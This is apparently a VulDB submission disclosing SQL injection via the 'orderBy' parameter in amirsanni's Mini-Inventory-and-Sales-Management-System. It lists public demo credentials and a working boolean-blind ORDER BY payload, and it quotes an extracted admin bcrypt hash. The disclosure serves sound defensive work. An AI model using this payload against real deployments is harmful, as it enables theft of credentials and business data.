提交 #916821: amirsanni Mini-Inventory-and-Sales-Management-System 1.0 SQL Injection

SQL Injection (CWE-89) in Mini-Inventory-and-Sales-Management-System via "orderBy" GET parameter.

AFFECTED PRODUCT
- Vendor: amirsanni
- Product: Mini-Inventory-and-Sales-Management-System (CodeIgniter 3.1.13)
- Affected version: commit 81bf0b5 (latest master, 2026-06-05)
- Affected endpoints: /index.php/transactions/latr_, /index.php/items/lilt, /index.php/administrators/laad_

ROOT CAUSE
CodeIgniter 3.1.13 order_by() skips identifier escaping when the column name contains parentheses (the _is_literal() check at DB_query_builder.php:2502). Three controllers pass the
user-controlled $_GET['orderBy'] value unvalidated into order_by(), allowing arbitrary SQL expressions inside the ORDER BY clause.

PREREQUISITES
- Any authenticated account. The application ships a public demo account ([email protected] / demopass) documented in the README.

REPRODUCTION
1. Login: POST /index.php/home/login ([email protected]&password=demopass)
2. Boolean blind: GET /index.php/transactions/latr_?orderBy=(SELECT CASE WHEN (SELECT password FROM admin LIMIT 1) LIKE '$%' THEN 1 ELSE EXP(1000) END)
TRUE -> HTTP 200; FALSE -> HTTP 500

EXPLOITATION RESULT
- Extracted full 60-char bcrypt admin password hash: $2y$10$xv9I14OlR36kPCjlTv.wEOX/6Dl7VMuWCl4vCxAVWP1JwYIaw4J2C
- Extracted database name: 1410inventory
- Confirmed by sqlmap (boolean-based blind, stacked queries, time-based blind)

IMPACT
- Attacker with public demo credentials can extract arbitrary database data (credentials, business records, metadata).

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N (6.5)
External disclosure: https://gist.github.com/qianqiusujiu/d1b22995e74ba21c8fb776ce3b1cddef

• 来源: ⚠️ https://gist.github.com/qianqiusujiu/d1b22995e74ba21c8fb776ce3b1cddef
• 用户: qianqiu (UID 71960)
• 提交: 2026-08-06 04時49分 (2 月前)
• 管理: 2026-09-27 09時32分 (2 months later)
• 状态: 已接受
• VulDB条目: 410836 [amirsanni Mini-Inventory-and-Sales-Management-System 直到 81bf0b55f5933f3b0dbb1583204a612e06605b95 Database Query Builder DB_query_builder.php order_by orderBy SQL注入]
• 积分: 20